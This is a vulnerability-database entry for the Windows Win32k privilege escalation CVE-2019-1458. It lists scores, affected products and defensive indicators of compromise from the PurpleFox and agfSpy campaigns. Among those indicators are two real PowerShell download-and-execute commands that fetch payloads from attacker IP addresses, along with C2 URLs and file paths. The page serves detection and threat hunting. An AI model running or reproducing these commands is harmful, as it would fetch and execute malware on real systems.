cbcvebase.
CVE-2019-1458
published 2019-12-10

CVE-2019-1458: An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of…

PriorityP189high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomware
CISA Known Exploited Vulnerabilitydue 2022-07-10
Exploited in the wild
EPSS
73.86%
99.4th percentile
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'.

Affected

35 ranges· showing 25
VendorProductVersion rangeFixed in
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server
microsoftwindows_server_2008
microsoftwindows_server_2012

Detection & IOCsextracted from sources · hover to see the quote

path\??\C:\Windows\AppPatch\Acpsens.dll
path\??\C:\Windows\system32\sens.dll
path\??\C:\Windows\setupact64.log
filenamedbcode21mk.log
filenamesetupact64.log
ip103.228.112.246
ip117.187.136.141
ip185.112.144.245
urlhxxp://103.228.112.246:17881/57BC9B7E.Png
urlhxxp://103.228.112.246:17881/0CFA042F.Png
urlhttp://117.187.136.141:13405/57BC9B7E.Png
urlhttp://117.187.136.141:13405/0CFA042F.Png
urlhxxp://185.112.144.245/a/data
domainadvb9fyxlf2v.com
commandcmd.exe /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp://103.228.112.246:17881/57BC9B7E.Png');MsiMake hxxp://103.228.112.246:17881/0CFA042F.Png"
commandcmd.exe /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp://185.112.144.245/a/1'))"
port17881
port13405
otherPDM:Exploit.Win32.Generic
bytes
SC (2-byte marker prepended to encrypted payload)
  • PurpleFox checks for absence of specific hotfix KBs (KB4530702, KB4530730) before deploying the CVE-2019-1458 exploit on Windows 8/Server 2012 targets — presence of these KBs indicates patched systems.
  • PurpleFox installs backdoor components as dbcode21mk.log and setupact64.log in the Windows directory and replaces sens.dll — monitor for unexpected writes to C:\Windows\system32\sens.dll and creation of these log filenames in the Windows directory.
  • agfSpy C&C communication uses XOR encryption with a multi-byte key; payloads are prepended with 2-byte marker 'SC' followed by a 4-byte payload length — use this as a network signature for agfSpy traffic.
  • dneSpy uses CreateMutex to check if agfSpy is already installed — monitor for mutex creation patterns consistent with this check during initial execution.
  • The CVE-2019-1458 EoP exploit PE file has a compilation timestamp of Wed Jul 10 00:50:48 2019 — use this as a PE header timestamp indicator when hunting for the exploit binary.
  • ·CVE-2019-1458 only affects specific Windows versions: Windows 7 and select Windows 10 builds are vulnerable; newer Windows 10 builds implement mitigations that prevent exploitation of this code path.
  • ·PurpleFox targets CVE-2019-1458 specifically against Windows 8/Windows Server 2012 systems; different CVEs are used for Windows 7 and Windows 10 targets in the same exploit bundle.
  • ·The EoP exploit is delivered as an embedded DLL loaded by a tiny PE loader, not as a standalone executable — detection must account for in-memory loading without touching disk as a standalone PE.

CVSS provenance

nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
cisa7.8HIGH
vendor_msrc7.8HIGH
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